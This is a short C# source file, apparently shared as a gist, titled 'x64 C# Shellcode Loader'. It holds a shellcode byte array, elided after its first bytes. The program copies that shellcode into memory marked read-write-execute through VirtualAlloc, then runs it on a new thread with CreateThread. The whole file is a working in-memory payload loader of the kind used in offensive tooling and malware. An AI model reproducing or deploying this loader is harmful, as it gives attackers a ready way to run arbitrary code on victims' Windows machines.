x64 C# Shellcode Loader

x64ShellcodeLoader.cs

//Thanks @Arno0x: https://github.com/Arno0x/CSharpScripts/blob/master/shellcodeLauncher.cs
using System;
using System.Runtime.InteropServices;

namespace ShellcodeLoader
{
    class Program
    {
        static void Main(string[] args)
        {
            byte[] x64shellcode = new byte[294] {
            0xfc,0x48, ... };

            IntPtr funcAddr = VirtualAlloc(
                              IntPtr.Zero,
                              (ulong)x64shellcode.Length,
                              (uint)StateEnum.MEM_COMMIT, 
                              (uint)Protection.PAGE_EXECUTE_READWRITE);
            Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);

            IntPtr hThread = IntPtr.Zero;
            uint threadId = 0;
            IntPtr pinfo = IntPtr.Zero;

            hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
            WaitForSingleObject(hThread, 0xFFFFFFFF);
            return;
        }

        #region pinvokes
        [DllImport("kernel32.dll")]
        private static extern IntPtr VirtualAlloc(
            IntPtr lpStartAddr,
            ulong size, 
            uint flAllocationType, 
            uint flProtect);

        [DllImport("kernel32.dll")]
        private static extern IntPtr CreateThread(
            uint lpThreadAttributes,
            uint dwStackSize,
            IntPtr lpStartAddress,
            IntPtr param,
            uint dwCreationFlags,
            ref uint lpThreadId);

        [DllImport("kernel32.dll")]
        private static extern uint WaitForSingleObject(
            IntPtr hHandle,
            uint dwMilliseconds);

        public enum StateEnum
        {
            MEM_COMMIT = 0x1000,
            MEM_RESERVE = 0x2000,
            MEM_FREE = 0x10000
        }

        public enum Protection
        {
            PAGE_READONLY = 0x02,
            PAGE_READWRITE = 0x04,
            PAGE_EXECUTE = 0x10,
            PAGE_EXECUTE_READ = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
        }
        #endregion
    }
}